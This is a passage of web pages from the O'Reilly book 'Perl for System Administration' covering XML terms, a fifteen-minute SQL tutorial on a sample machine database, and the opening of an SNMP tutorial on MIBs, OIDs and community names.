        <string/>
    </elementType>
    <elementType id="ipaddress">
        <string/>
    </elementType>

    <!-- now define our actual machine element -->
    <elementType id="Machine" content="CLOSED">
       <element type="#name"       occurs="REQUIRED"/>
       <element type="#department" occurs="REQUIRED"/>
       <element type="#room"       occurs="REQUIRED"/>
       <element type="#owner"      occurs="REQUIRED"/>
       <element type="#ipaddress"  occurs="REQUIRED"/>
    </elementType>
</schema>

XML schema technology is (as of this writing) still very much in the discussion phase in the standards process. XML-data, which we used in the above example, is just one of the proposals in front of the Working Group studying this issue. Because the technology moves fast, I recommend paying careful attention to the most current standards (found at http://www.w3.org) and your software's level of compliance with them.

Both the mature DTD and fledgling schema mechanisms can get complicated quickly, so we're going to leave further discussion of them to the books that are dedicated to XML/SGML.

Previous | Home | Next
C.1. XML Is a Markup Language | Book Index | C.3. Two Key XML Terms
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Two Key XML Terms (Perl for System Administration)

 Perl for System AdministrationSearch this book

C.3. Two Key XML Terms

You can't go very far in XML without learning these two important terms. XML data is said to be well-formed if it follows all of the XML syntax and grammar rules (matching tags, etc.). Often a simple check for well-formed data can help spot typos in XML files. That's already an advantage when the data you are dealing with holds configuration information like the machine database excerpted above.

XML data is said to be valid if it conforms to the rules we've set down in one of the data definition mechanisms mentioned earlier. For instance, if your data file conforms to its DTD, it is valid XML data.

Valid data by definition is well-formed, but the converse does not have to be true. It is possible to have perfectly wonderful XML data that does not have an associated DTD or schema. If it parses properly, it is well-formed, but not valid.

Previous | Home | Next
C.2. XML Is Picky | Book Index | C.4. Leftovers
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Leftovers (Perl for System Administration)

 Perl for System AdministrationSearch this book

C.4. Leftovers

Here are three terms that appear throughout the XML literature and may stymie the XML beginner:

Attribute

The descriptions of an element that are part of the initial start tag. To reuse a previous example, in <img src="picture.jpg" />, src="picture.jpg" is an attribute for this element. There is some controversy in the XML world about when to use the contents of an element and when to use attributes. The best set of guidelines on this particular issue can be found at http://www.oasis-open.org/cover/elementsAndAttrs.html.

CDATA

The term CDATA (Character Data) is used in two contexts. Most of the time it refers to everything in an XML document that is not markup (tags, etc). The second context involves CDATA sections. A CDATA section is declared to indicate that an XML parser should leave that section of data alone even if it contains text that could be construed as markup.

PCDATA

Tim Bray's annotation of the XML specification (mentioned earlier) gives the following definition:

The string PCDATA itself stands for "Parsed Character Data." It is another inheritance from SGML; in this usage, "parsed" means that the XML processor will read this text looking for markup signaled by < and & characters.

You can think of this as data composed of CDATA and potentially some markup. Most XML data falls into this classification.

XML has a bit of a learning curve. This small tutorial should help you get started.

Previous | Home | Next
C.3. Two Key XML Terms | Book Index | D. The Fifteen-Minute SQL Tutorial
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The Fifteen-Minute SQL Tutorial (Perl for System Administration)

 Perl for System AdministrationSearch this book

Appendix D. The Fifteen-Minute SQL Tutorial

Contents:

Creating /Deleting Databases and Tables
Inserting Data into a Table
Querying Information
Changing Table Information
Relating Tables to Each Other
SQL Stragglers

Relational databases can be an excellent tool for system administration. A relational database is accessed and administered using Structured Query Language (SQL) statements. As a result, it is a good idea for system administrators to learn at least the basics of SQL. The goal of this appendix is not to make you a full-time database programmer or even a real database administrator; that takes years of work and considerable expertise. However, we can look at enough SQL so you can begin to fake it. You may not be able to speak the language, but you'll at least get the gist if someone speaks it at you, and you'll know enough to go deeper into the subject if you need to. In Chapter 7, "SQL Database Administration", we'll use these basic building blocks extensively when we integrate SQL and Perl.

SQL is a command language for performing operations on databases and their component parts. Tables are the component parts you'll deal with most often. Their column and row structure makes them look a great deal like spreadsheets, but the resemblance is only surface-level. Table elements are not used to represent relationships to other elements--that is, table elements don't hold formulas, they just hold data. Most SQL statements are devoted to working with the data in these rows and columns, allowing the user to add, delete, select, sort, and relate it between tables.

Let's go over some of the operators offered by SQL. If you want to experiment with the operators we'll be discussing, you'll need access to an SQL database. You may already have access to a server purchased from Oracle, Sybase, Informix, IBM, Microsoft, etc. If not, an excellent open source database called MySQL can be downloaded from http://www.mysql.org.

For this appendix, we'll be using mostly generic SQL, though each database server has its own SQL quirks. SQL statements particular to a specific database implementation will be noted.

The SQL code that follows will be shown using the capitalization standard found in most SQL books. This standard capitalizes all reserved words in a statement.

Most of the example SQL code in this appendix will use a table that mirrors the flat-file machine database we saw in Chapter 5, "TCP/IP Name Services". As a quick refresher, Table D-1 shows how that data looks in table form.

Table D-1. Our Machine Database

name | ipaddr | aliases | owner | dept | bldg | room | manuf | model
shimmer | 192.168.1.11 | shim shimmy shimmydoodles | David Davis | software | main | 309 | Sun | Ultra60
bendir | 192.168.1.3 | ben bendoodles | Cindy Coltrane | IT | west | 143 | Apple | 7500/100
sander | 192.168.1.55 | sandy micky mickydoo | Alex Rollins | IT | main | 1101 | Intergraph | TD-325
sulawesi | 192.168.1.12 | sula sulee | Ellen Monk | design | main | 1116 | Apple | G3

D.1. Creating /Deleting Databases and Tables

In the beginning, the server will be empty and void of objects useful to us. Let's create our database:

CREATE DATABASE sysadm ON userdev=10 LOG ON userlog=5
GO

This SQL statement creates a 10MB database on the device userdev with a 5MB log file on the userlog device. This statement is Sybase/Microsoft SQL Server-specific, since database creation (when performed at all) takes place in different ways on different servers.

The GO command is used with interactive database clients to indicate that the preceding SQL statement should be executed. It is not an SQL statement itself. In the following examples, we'll assume that GO will be typed after each individual SQL statement if you are using one of these clients. We'll also be using the SQL commenting convention of "--" for comments in the SQL code.

To remove this database, we can use the DROP command:

DROP DATABASE sysadm

Now let's actually create an empty table to hold the information shown in Table D-1.

USE sysadm
-- Last reminder: need to type GO here (if you are using an interactive
-- client) before entering next statement
CREATE TABLE hosts (
  name      character(30)     NOT NULL,
  ipaddr    character(15)     NOT NULL,
  aliases   character(50)     NULL,
  owner     character(40)     NULL,
  dept      character(15)     NULL,
  bldg      character(10)     NULL,
  room      character(4)      NULL,
  manuf     character(10)     NULL,
  model     character(10)     NULL
)

First we indicate which database (sysadm) we wish to use. The USE statement only takes effect if it is run separately before any other commands are executed, hence it gets its own GO statement.

Then we create a table by specifying the name, datatype/length, and the NULL/NOTNULL settings for each column. Let's talk a little bit about datatypes.

It is possible to hold several different types of data in a database table, including numbers, dates, text, and even images and other binary data. Table columns are created to hold a certain kind of data. Our needs are modest, so this table is composed of a set of columns that hold simple strings of characters. SQL also allows you to create user-defined aliases for datatypes like ip_address or employee_id. User-defined datatypes are used in table creation to keep table structures readable and data formats consistent between columns across multiple tables.

The last set of parameters of our previous command declares a column to be mandatory or optional. If this parameter is set to NOT NULL, a row cannot be added to the table if it lacks data in this column. In our example, we need a machine name and IP address for a machine record to be useful to us, so we declare those fields NOT NULL. All the rest are optional (though highly desirable). There are other constraints besides NULL/NOT NULL that can be applied to a column for data consistency. For instance, one could ensure that two machines are not named the same thing by changing:

name      character(30)     NOT NULL,

to:

name      character(30)     NOT NULL CONSTRAINT unique_name UNIQUE,

We use unique_name as the name of this particular constraint. Naming your constraints make the error messages generated by constraint violations more useful. See your server documentation for other constraints that can be applied to a table.

Deleting entire tables from a database is considerably simpler than creating them:

USE sysadm
DROP TABLE hosts

Previous | Home | Next
C.4. Leftovers | Book Index | D.2. Inserting Data into a Table
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Inserting Data into a Table (Perl for System Administration)

 Perl for System AdministrationSearch this book

D.2. Inserting Data into a Table

Now that we have an empty table, let's look at two ways to add new data. Here's the first form:

USE sysadm
INSERT hosts
   VALUES (
     'shimmer',
     '192.168.1.11',
     'shim shimmy shimmydoodles',
     'David Davis',
     'Software',
     'Main',
     '309',
     'Sun',
     'Ultra60'
   )

The first line tells the server we are going to work with objects in the sysadm database. The second line selects the hosts table and adds a row, one column at a time. This version of the INSERT command is used to add a complete row to the table (i.e., one with all columns filled in). To create a new row with a partial record we can specify the columns to fill, like so:

USE sysadm
INSERT hosts (name,ipaddr,owner)
   VALUES (
     'bendir',
     '192.168.1.3',
     'Cindy Coltrane'
    )

The INSERT command will fail if we try to insert a row does not have all of the required (NOT NULL) columns.

INSERT can also be used to add data from one table to another; we'll see this usage later. For the rest of our examples, assume that we've fully populated the hosts table using the first form of INSERT.

Previous | Home | Next
D.1. Creating /Deleting Databases and Tables | Book Index | D.3. Querying Information
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Querying Information (Perl for System Administration)

 Perl for System AdministrationSearch this book

D.3. Querying Information

As an administrator, the SQL command you'll probably use the most often is SELECT. SELECT is used to query information from a server. Before we talk about this command, a quick disclaimer: SELECT is a gateway into a whole wing of the SQL language. We're only going to demonstrate some of its simpler forms. There is an art to constructing good queries (and designing databases so they can be queried well), but more in-depth coverage like this is best found in books entirely devoted to SQL and databases.

The simplest SELECT form is used mostly for retrieving server and connection-specific information. With this form, you do not specify a data source. Here are two examples:

-- both of these are database vendor specific
SELECT @@SERVERNAME

SELECT VERSION(  );

The first statement returns the name of the server from a Sybase or MS-SQL server; the second returns the current version number of a MySQL server.

D.3.1. Retrieving All of the Rows in a Table

To get at all of the data in our hosts table, use this SQL code:

USE sysadm
SELECT * FROM hosts

This returns all of the rows and columns in the same column order as our table was created:

name      ipaddr        aliases                     owner             dept
bldg   room manuf      model
--------- ------------ ---------------------------- ----------------- --------
------ ---- ---------- ---------
shimmer   192.168.1.11  shim shimmy shimmydoodles   David Davis
Software
Main  309  Sun        Ultra60
bendir    192.168.1.3   ben bendoodles              Cindy Coltrane IT
West  143  Apple      7500/100
sander    192.168.1.55  sandy micky mickydoo        Alex Rollins IT
Main  1101 Intergraph TD-325
sulawesi  192.168.1.12  sula su-lee                 Ellen Monk
Design
 Main  1116 Apple      G3

If we want to see specific columns, we just need to specify them by name:

USE sysadm
SELECT name,ipaddr FROM hosts

When we specify the columns by name they are returned in the order we specify them, independent of the order used when creating the table. For instance, to see IP addresses per building:

USE sysadm
SELECT bldg,ipaddr FROM hosts

This returns:

bldg       ipaddr
---------- ---------------
Main       192.168.1.11
West       192.168.1.3
Main       192.168.1.55
Main       192.168.1.12

D.3.2. Retrieving a Subset of the Rows in a Table

Databases wouldn't be very interesting if you couldn't retrieve a subset of your data. In SQL, we use the SELECT command and add a WHERE clause containing a conditional:

USE sysadm
SELECT * FROM hosts WHERE bldg="Main"

This shows:

name      ipaddr        aliases                     owner             dept     bldg   room manuf      model
--------- ------------ ---------------------------- ----------------- -------- ------ ---- ---------- ---------
shimmer   192.168.1.11  shim shimmy shimmydoodles   David Davis       Software  Main  309  Sun        Ultra60
sander    192.168.1.55  sandy micky mickydoo        Alex Rollins      IT        Main  1101 Intergraph TD-325
sulawesi  192.168.1.12  sula su-lee                 Ellen Monk        Design    Main  1116 Apple      G3

The set of available conditional operators for WHERE clauses are the standard programming fare:

=      >      >=      <      <=      <>

Unlike Perl, SQL does not have separate string and numeric comparison operators.

Conditional operators can be combined with AND/OR and negated with NOT. We can test for an empty column using IS NULL or non-empty with IS NOT NULL. For instance, this SQL code will show all of the machines without owners listed in our table:

USE sysadm
SELECT name FROM hosts WHERE owner IS NULL

If you want to find all of the rows that have a column whose contents is one of several specified values, you can use the IN operator to specify a list:

USE sysadm
SELECT name FROM hosts WHERE dept IN ('IT', 'Software')

This shows all of the machines in use in either the IT or software departments. SQL will also allow you to return rows that match a certain range of values (most useful with numeric or date values) with the BETWEEN operator. Here's an example that shows all of the machines in the main building on the tenth floor:

USE sysadm
SELECT name FROM hosts
  WHERE (bldg = 'Main') AND
        (room BETWEEN '1000' AND '1999')

Finally, the WHERE clause can be used with LIKE to choose rows using weak pattern matching (in comparison to Perl's regular expressions). For instance, this will select all of the machines that have the string "doodles" somewhere in their aliases:

USE sysadm
SELECT name FROM hosts WHERE aliases LIKE '%doodles%'

Table D-2 lists the supported LIKE wildcards.

Table D-2. LIKE Wildcards

Wildcard | Meaning | Closest Perl Regexp Equivalent
% | Zero or more characters | .*
_ | A single character | .
[ ] | A single character that is one of a specified set or range | [ ]

Some database servers have added extensions to SQL to allow for regular expression use in SELECTs. For instance, MySQL offers the REGEXP operator for use with SELECT. REGEXP doesn't have all the power of Perl's regular expression engine, but it offers a substantial increase in flexibility over the standard SQL wildcards.

D.3.3. Simple Manipulation of Data Returned by Queries

Two useful clauses for a SELECT statement are DISTINCT and ORDER BY. The first allows us to eliminate duplicate records returned by a query. If we want a list of all of the distinct manufacturers represented in our hosts table, we could use DISTINCT:

USE sysadm
SELECT DISTINCT manuf FROM hosts

If we want to see our data returned in a sorted order, we can use ORDER BY:

USE sysadm
SELECT name,ipaddr,dept,owner FROM hosts ORDER BY dept

SQL has several operators that can be used to modify the output returned by a query. They allow you to change column names, do summary and intra/intercolumn calculations, reformat how fields are displayed, perform subqueries, and a whole host of other things. Please see an SQL book for more detail on SELECT's many clause operators.

D.3.4. Adding the Query Results to Another Table

A new table containing the results of a query can be created on the fly by using an INTO clause on some SQL servers:

USE sysadm
SELECT name,ipaddr INTO itmachines FROM hosts WHERE dept = 'IT'

This statement works just like those we've seen previously, except the results of the query are added to another table called itmachines. With some servers, this table is created on the fly if it does not exist. You can think of this operator clause as the equivalent of the ">" operator in most Unix and NT command-line shells.

TIP

Some database servers (like MySQL) do not support SELECTINTO ; they require the use of an INSERT command to perform this action. Other servers such as MS-SQL and Sybase require a special flag be set on a database before SELECTINTO can be used within that database, or the command will fail.

Previous | Home | Next
D.2. Inserting Data into a Table | Book Index | D.4. Changing Table Information
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Changing Table Information (Perl for System Administration)

 Perl for System AdministrationSearch this book

D.4. Changing Table Information

Our working knowledge of the SELECT command comes into play with other commands as well. For instance, the INSERT command we saw earlier can also take a SELECT clause. This allows us to insert query information into an existing table. If our software department were to merge with IT, we could add their machines to the itmachines table:

USE sysadm
INSERT itmachines
  SELECT name,ipaddr FROM hosts
  WHERE dept = 'Software'

If we want to change any of the rows in our table, we can use the UPDATE command. For example, if all of the departments in the company moved into a single facility called Central, we can change the name of the building in all rows like so:

USE sysadm
UPDATE hosts
  SET bldg = 'Central'

It's more likely that we'll need to change only certain rows in a table. For that task, we use the handy WHERE clause we saw when discussing the SELECT operator:

USE sysadm
UPDATE hosts
  SET dept = 'Development'
  WHERE dept = 'Software'

That changed the name of the Software department to Development. This moves the machine called bendir to our Main building:

USE sysadm
UPDATE hosts
  SET bldg = 'Main'
  WHERE name = 'bendir'

If we wanted to remove a row or set of rows from a table instead of updating them, we can use the DELETE command:

USE sysadm
DELETE hosts
  WHERE bldg = 'East'

There's no way to undo a straight DELETE operation, so be careful.

Previous | Home | Next
D.3. Querying Information | Book Index | D.5. Relating Tables to Each Other
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Relating Tables to Each Other (Perl for System Administration)

 Perl for System AdministrationSearch this book

D.5. Relating Tables to Each Other

Relational databases offer many ways to forge connections between the data in two or more tables. This process is known as "joining" the tables. Joins can get complex quickly, given the number of query possibilities involved and the fine control the programmer has over the data that is returned. If you are interested in this level of detail, your best bet is to seek out a book devoted to SQL.

Here is one example of a join in action. For this example we'll use another table called contracts, which contains information on the maintenance contracts for each of our machines. That table is shown in Table D-3.

Table D-3. Our Contracts Table

name | servicevendor | startdate | enddate
bendir | Dec | 09-09-1995 | 06-01-1998
sander | Intergraph | 03-14-1998 | 03-14-1999
shimmer | Sun | 12-12-1998 | 12-12-2000
sulawesi | Apple | 11-01-1995 | 11-01-1998

Here's one way to relate our hosts table to the contracts table using a join:

USE sysadm
SELECT name,servicevendor,enddate
  FROM contracts, hosts
  WHERE contracts.name = hosts.name

The easiest way to understand this code is to read it from the middle out. FROMcontracts, hosts tells the server that we wish to relate the contracts and hosts tables. ON contracts.name = hosts.name says we will match a row in contracts to a row in hosts based on the contents of the name field in each table. Finally, the SELECT... line specifies the columns we wish to appear in our output.

Previous | Home | Next
D.4. Changing Table Information | Book Index | D.6. SQL Stragglers
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


SQL Stragglers (Perl for System Administration)

 Perl for System AdministrationSearch this book

D.6. SQL Stragglers

Before we close this tutorial section, there are a few more advanced SQL topics you may encounter in your travels.

D.6.1. Views

Some SQL servers allow you to create different views of a table. Views are like magic permanent SELECT queries. Once you create a view using a special SELECT query, the results of your query stick around and behave like their own table. Views can be queried like any other table. Modifications to a view, with a few restrictions, are propagated back to the original table or tables.

Note I said tables. Here's where the magic of views comes in: a view on a table can be created that consists of a join between that table and another. This view behaves as one large virtual table. Changes to this view are propagated back to the original tables that are part of the join that created the view.

A view can also be created with a new column consisting of calculations performed between other columns in that table, almost like a spreadsheet. Views are useful for more mundane purposes also, like query simplification (i.e., may be able to select fewer columns) and data restructuring (i.e., table users sees a view of the data that doesn't change, even if other columns in the underlying table structure are modified).

Here's a view creation example that demonstrates query simplification:

USE sysadm
CREATE VIEW ipaddr_view AS SELECT name, ipaddr FROM hosts

Now we can use a very simple query to get back just the information we need:

USE sysadm
SELECT * FROM ipaddr_view

The result of this query is:

name                           ipaddr
------------------------------ ---------------
shimmer                        192.168.1.11
bendir                         192.168.1.3
sander                         192.168.1.55
sulawesi                       192.168.1.12

Like tables, views are dropped using a form of the DROP command:

USE sysadm
DROP VIEW ipaddr_view

D.6.2. Cursors

In all of the queries we've seen above, we've asked the server to hand us back all of the results once the query has completed. Sometimes it is preferable to receive the answer to a query one line at a time. This is most often the case when embedding SQL queries in other programs. If your query returns tens of thousands of lines, chances are pretty good that you'll want to process the results one line at a time, rather than storing them all in memory for later use. Most SQL programming in Perl uses this line-at-a-time method. Here's a small native-SQL program that demonstrates cursor use on a Sybase or MS-SQL Server:

USE sysadm
-- declare our variables
DECLARE @hostname character(30)
DECLARE @ip character(15)

-- declare our cursor
DECLARE hosts_curs CURSOR FOR SELECT name,ipaddr FROM hosts

-- open this cursor
OPEN hosts_curs

-- iterate over table, fetching rows one at a time,
-- until we receive an error
FETCH hosts_curs INTO @hostname,@ip
WHILE (@@fetch_status = 0)
  BEGIN
     PRINT "----"
     PRINT @hostname
     PRINT @ip
     FETCH hosts_curs INTO @hostname,@ip
  END

-- close the cursor (not strictly necessary when followed
-- by a DEALLOCATE)
CLOSE hosts_curs

-- undefine cursor def
DEALLOCATE hosts_curs

This produces the following output:

----
shimmer
192.168.1.11
----
bendir
192.168.1.3
----
sander
192.168.1.55
----
sulawesi
192.168.1.12

D.6.3. Stored Procedures

Most database systems allow you to upload SQL code to the server where it is stored in an optimized, post-parsed form for faster execution. These uploads are known as stored procedures. Stored procedures are often a critical component of SQL for administrators because large parts of server administration for some servers rely on them. For example, to change the owner of the sysadm database in Sybase, you might do this:

USE sysadm
sp_changedbowner "jay"

See Chapter 7, "SQL Database Administration" for examples of calling stored procedures. Now that you've seen the basics of SQL, you're ready to tackle Chapter 7, "SQL Database Administration".

Previous | Home | Next
D.5. Relating Tables to Each Other | Book Index | E. The Twenty-Minute SNMP Tutorial
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The Twenty-Minute SNMP Tutorial (Perl for System Administration)

 Perl for System AdministrationSearch this book

Appendix E. The Twenty-Minute SNMP Tutorial

Contents:

SNMP in Practice

The Simple Network Management Protocol (SNMP) is the ubiquitous protocol used to manage devices on a network. Unfortunately, as we metioned at the beginning of Chapter 10, "Security and Network Monitoring", SNMP is not a particularly simple protocol (despite its name). This longish tutorial will give you the information you need to get started with Version 1 of SNMP.

SNMP is predicated on the notion that you have a management station that polls an SNMP agent running on a remote device for information. The agent can also be instructed to signal the management station if an important condition arises (like a counter exceeding a threshold). When we programmed in Perl in Chapter 10, "Security and Network Monitoring", we essentially acted as a management station, polling the SNMP agents on other network devices.

We're going to concentrate on Version 1 of SNMP. There have been seven versions of the protocol (SNMPv1, SNMPsec, SNMPv2p, SNMPv2c, SNMPv2u, SNMPv2* and SNMPv3) proposed. v1 is the only one that has been widely implemented and deployed, though v3 is expected to eventually ascend thanks to its superior security architecture.

Perl and SNMP both have simple data types. Perl uses a scalar as its base type. Lists and hashes are just collections of scalars in Perl. In SNMP, you also work with scalar variables. SNMP variables can hold one of four primitive types: integers, strings, object identifiers (more on this in a moment), or null values. And just like Perl, in SNMP a set of related variables can be grouped together to form larger structures (most often tables). This is where their similarity ends.

Perl and SNMP diverge radically when we come to the subject of variable names. In Perl, you can, given a few restrictions, name your variables anything you'd like. SNMP variable names are considerably more restrictive. All SNMP variables exist within a virtual hierarchical storage structure known as the Management Information Base (MIB). All valid variable names are defined within this framework. The MIB, now at version MIB-II, defines a tree structure for all of the objects (and their names) that can be managed via SNMP.

In some ways the MIB is similar to a filesystem. Instead of organizing files, the MIB logically organizes management information in a hierarchical tree-like structure. Each node in this tree has a short text string, called a label, and an accompanying number that represents its position at that level in the tree. To give you a sense of how this works, let's go find the SNMP variable in the MIB used to hold a system's description of itself. Bear with me; we have a bit of a tree walking (eight levels' worth) to get there.

Figure E-1 shows a picture of the top of the MIB tree.

Figure E-1. Finding sysDescr(1) in the MIB

The top of the tree consists of standards organizations: iso(1),ccitt(2),joint-iso-ccitt(3). Under the iso(1) node, there is a node called org(3) for other organizations. Under this node is dod(6), for the Department of Defense. Under that node is internet(1), a subtree for the Internet community.

Here's where things start to get interesting. The Internet Activities Board has assigned the subtrees listed in Table E-1 under internet(1).

Table E-1. Subtrees of the internet(1) Node

Subtree | Description
directory(1) | OSI directory
mgmt(2) | RFC standard objects
experimental(3) | Internet experiments
private(4) | Vendor-specific
security(5) | Security
snmpV2(6) | SNMP internals

Because we're interested in using SNMP for device management, we will want to take the mgmt(2) branch, The first node under mgmt(2) is the MIB itself (this is almost recursive). Since there is only one MIB, the only node under mgmt(2) is mib-2(1).

The real meat (or tofu) of the MIB begins at this level in the tree. We find the first set of branches, called object groups, that hold the variables we'll want to query:

system(1)
interfaces(2)
at(3)
ip(4)
icmp(5)
tcp(6)
udp(7)
egp(8)
cmot(9)
transmission(10)
snmp(11)

Remember, we're hunting for the "system description" SNMP variable, so the system(1) group is the logical place to look. The first node in that tree is sysDescr(1). We've located the object we need.

Why bother with all of this tree-walking stuff? This trip provides us with sysDescr(1)'s Object Identifier. The Object Identifier, or OID, is just the dotted set of the numbers from each label of the tree we encountered on our way to this object. Figure E-2 shows this graphically.

Figure E-2. Finding the OID for our desired object

So the OID for the Internet tree is 1.3.6.1, the OID for the system object group is 1.3.6.1.2.1.1, and the OID for the sysDescr object is 1.3.6.1.2.1.1.1.

When we want to actually use this OID in practice, we'll need to tack on another number to get the value of this variable. We will need to append a .0, representing the first (and only, since a device cannot have more than one description) instance of this object.

In fact, let's do that; let's use this OID in a sneak preview of SNMP in action. In this appendix we'll be using the command-line tools from the UCD-SNMP package for demonstration purposes. The UCD-SNMP package that can be found at http://ucd-snmp.ucdavis.edu/ is an excellent free SNMPv1 and v3 implementation. We're using this particular SNMP implementation because one of the Perl modules links to its library, but any other client that can send an SNMP request will do just as nicely. Once you're familiar with command-line SNMP utilities, making the jump to the Perl equivalents is easy.

The UCD-SNMP command-line tools require us to prepend a dot if we wish to specify an OID/variable name starting at the root of the tree. Otherwise the OID/variable name is assumed to begin at the top of the mib-2 tree. Here are two ways we might query the machine solarisbox for its systems description:

$ snmpget solarisbox public .1.3.6.1.2.1.1.1.0
$ snmpget solarisbox public .iso.org.dod.internet.mgmt.mib-2.system.sysDescr.0

These lines both yield:

system.sysDescr.0 = Sun SNMP Agent, Ultra-1

Back to the theory. It is important to remember that the P in SNMP stands for Protocol. SNMP itself is just the protocol for the communication between entities in a management infrastructure. The operations, or "protocol data units" (PDUs), are meant to be simple. Here are the PDUs you'll see most often, especially when programming in Perl:[1]

[1]The canonical list of PDUs is found in RFC1905 for SNMPv2 and v3, which builds upon the PDUs in SNMPv1's RFC1157. The RFC list isn't much bigger than the PDUs cited here, so you're not missing much.

get-request

get-request is the workhorse of the PDU family. get-request is used to poll an SNMP entity for the value of some SNMP variable. Many people live their whole SNMP lives using nothing but this operation.

get-next-request

get-next-request is just like get-request, except it returns the item in the MIB just after the specified item (the "first lexicographic successor" in RFC terms). This operation comes into play most often when you are attempting to find all of the items in a logical table object. For instance, you might send a set of repeated get-next-requests to query for each line of a workstation's ARP table. We'll see an example of this in practice in a moment.

set-request

set-request does just what you would anticipate; it attempts to change the value of an SNMP variable. This is the operation used to change the configuration of an SNMP-capable device.

trap/snmpV2-trap

trap is the SNMPv1 name, and snmpV2-trap is the SNMPv2/3 name. Traps are beyond the scope of this book, but in essence they allow you to ask an SNMP-capable box to signal its management entity about an event (like a reboot, or a counter threshold being reached) without being explicitly polled.

response

response is the PDU used to carry the response back from any of the other PDUs. It can be used to reply to a get-request, signal if a set-request succeeded, and so on. You rarely reference this PDU explicitly when programming, since most SNMP libraries, programs, and Perl modules automatically handle SNMP response receipt. Still, it is important to understand not just how requests are made, but also how they are answered.

If you've never dealt with SNMP before, a natural reaction to the above list might be "That's it? Get, set, tell me when something happens, that's all it can do?" But simple, as SNMP's creators realized early on, is not the opposite of powerful. If the manufacturer of an SNMP device chooses her or his variables well, there's little that cannot be done with the protocol. The classic example from the RFCs is the rebooting of an SNMP-capable device. There may be no "reboot-request" PDU, but a manufacturer could easily implement this operation by using an SNMP trigger variable to hold the number of seconds before a reboot. When this variable is changed via set-request, a reboot of the device could be initiated in the specified amount of time.

Given this power, what sort of security is in place to keep anyone with an SNMP client from rebooting your machine? In earlier versions of the protocol, the protection mechanism was pretty puny. In fact, some people have taken to expanding the acronym as "Security Not My Problem" because of SNMPv1's poor authentication mechanism. To explain the who, what, and how of this protection mechanism, we have to drag out some nomenclature, so bear with me.

SNMPv1 and SNMPv2C allow you to define administrative relationships between SNMP entities called communities. Communities are a way of grouping SNMP agents that have similar access restrictions with the management entities that meet those restrictions. All entities that are in a community share the same community name. To prove you are part of a community, you just have to know the name of that community. That is the who can access? part of the scheme.

For the "what can they access?" part, RFC1157 calls the parts of a MIB applicable to a particular network entity an SNMP MIB view. For instance, an SNMP-capable toaster[2] would not provide all of the same SNMP configuration variables as that of an SNMP-capable router.

[2]There's an SNMP-capable Coke machine (information on it is available at http://www.nixu.fi/limu), so it isn't all that farfetched.

Each object in a MIB is defined as being accessible read-only, read-write, or none. This is known as that object's SNMP access mode. If we put an SNMP MIB view and an SNMP access mode together, we get an SNMP community profile that describes the type of access available to the applicable variables in the MIB by a particular community.

Now we bring the who and the what parts together and we have an SNMP access policy that describes what kind of access members of a particular community offer each other.

How does this all work in real life? You configure your router or your workstation to be in at least two communities, one controlling read, the other controlling read-write access. People often refer to these communities as the public and the private communities, named after popular default names for these communities. For instance, on a Cisco router you might include this as part of the configuration:

! set the read-only community name to MyPublicCommunityName
snmp-server community MyPublicCommunityName RO

! set the read-write community name to MyPrivateCommunityName
snmp-server community MyPrivateCommunityName RW

On a Solaris machine, you might include this in the /etc/snmp/conf/snmpd.conf file:

read-community  MyPublicCommunityName
write-community MyPrivateCommunityName

SNMP queries to either of these devices would have to use the MyPublicCommunityName community name to gain access to read-only variables or the MyPrivateCommunityName community names to change read-write variables on those devices. The community name is then functioning as a pseudo-password to gain SNMP access to a device. This is a poor security scheme. Not only is the community name passed in clear text in every SNMP packet, but it is trying to protect access using "security by obscurity."

Later versions of SNMP, Version 3 in particular, added significantly better security to the protocol. RFC2274 and RFC2275 define a User Security Model (USM) and a View-Based Access Control (VACM) Model. USM provides crypto-based protection for authentication and encryption of messages. VACM offers a comprehensive access control mechanism for MIB objects. These mechanisms are still relatively new and unimplemented (for instance, only one of the available Perl modules supports it, and this support is very new). We won't be discussing these mechanisms here, but it is probably worth your while to peruse the RFCs since v3 is increasing in popularity.

E.1. SNMP in Practice

Now that you've received a healthy dose of SNMP theory, let's do something practical with this knowledge. You've already seen how to query a machine's system description (remember the sneak preview earlier). Now let's look at two more examples: querying the system uptime and the IP routing table.

Until now, you just had to take my word for the location and name of an SNMP variable in the MIB. We need to change that, since the first step in querying information via SNMP is a process I call "MIB groveling:"

Step 1

Find the right MIB document. If you are looking for a device-independent setting that could be found on any generic SNMP device, you will probably find it in RFC1213.[3] If you need vendor-specific variable names, e.g., the variable that holds "the color of a blinky-light on the front panel of a specific ATM switch," you will need to contact the vendor of the switch and request a copy of their MIB module. I'm being pedantic about the terms here because it is not uncommon to hear people incorrectly say, "I need the MIB for that device." There is only one MIB in the world; everything else fits somewhere in that structure (usually off of the private(4) branch).

[3]RFC1213 is marginally updated by RFC2011, RFC2012, and RFC2013. RFC1907 adds additional SNMPv2 items to the MIB.

Step 2

Search through MIB descriptions until you find the SNMP variable(s) you need.

To make this second step easier for you, let me help decode the format.

MIB descriptions aren't all that scary once you get used to them. They look like one long set of variable declarations similar to those you would find in source code. This is no coincidence because they are variable declarations. If a vendor has been responsible in the construction of its module, that module will be heavily commented like any good source code file.

MIB information is written in a subset of Abstract Syntax Notation One (ASN.1), an Open Systems Interconnection (OSI) standard notation. A description of this subset and other details of the data descriptions for SNMP are found in RFCs called Structure for Management Information (SMI) RFCs. These accompany the RFCs that define the SNMP protocol and the current MIB. For instance, the latest (as of this writing) SNMP protocol definition can be found in RFC1905, the latest base MIB manipulated by this protocol is in RFC1907, and the SMI for this MIB is in RFC2578. I bring this to your attention because it is not uncommon to have to flip between several documents when looking for specifics on an SNMP subject.

Let's use this knowledge to address the first task at hand: finding the system uptime of a machine via SNMP. This information is fairly generic, so there's a good chance we can find the SNMP variable we need in RFC1213. A quick search for "uptime" in RFC1213 yields this snippet of ASN.1:

sysUpTime OBJECT-TYPE
              SYNTAX  TimeTicks
              ACCESS  read-only
              STATUS  mandatory
              DESCRIPTION
                      "The time (in hundredths of a second) since the
                      network management portion of the system was last
                      re-initialized."
              ::= { system 3 }

Let's take this definition apart line by line:

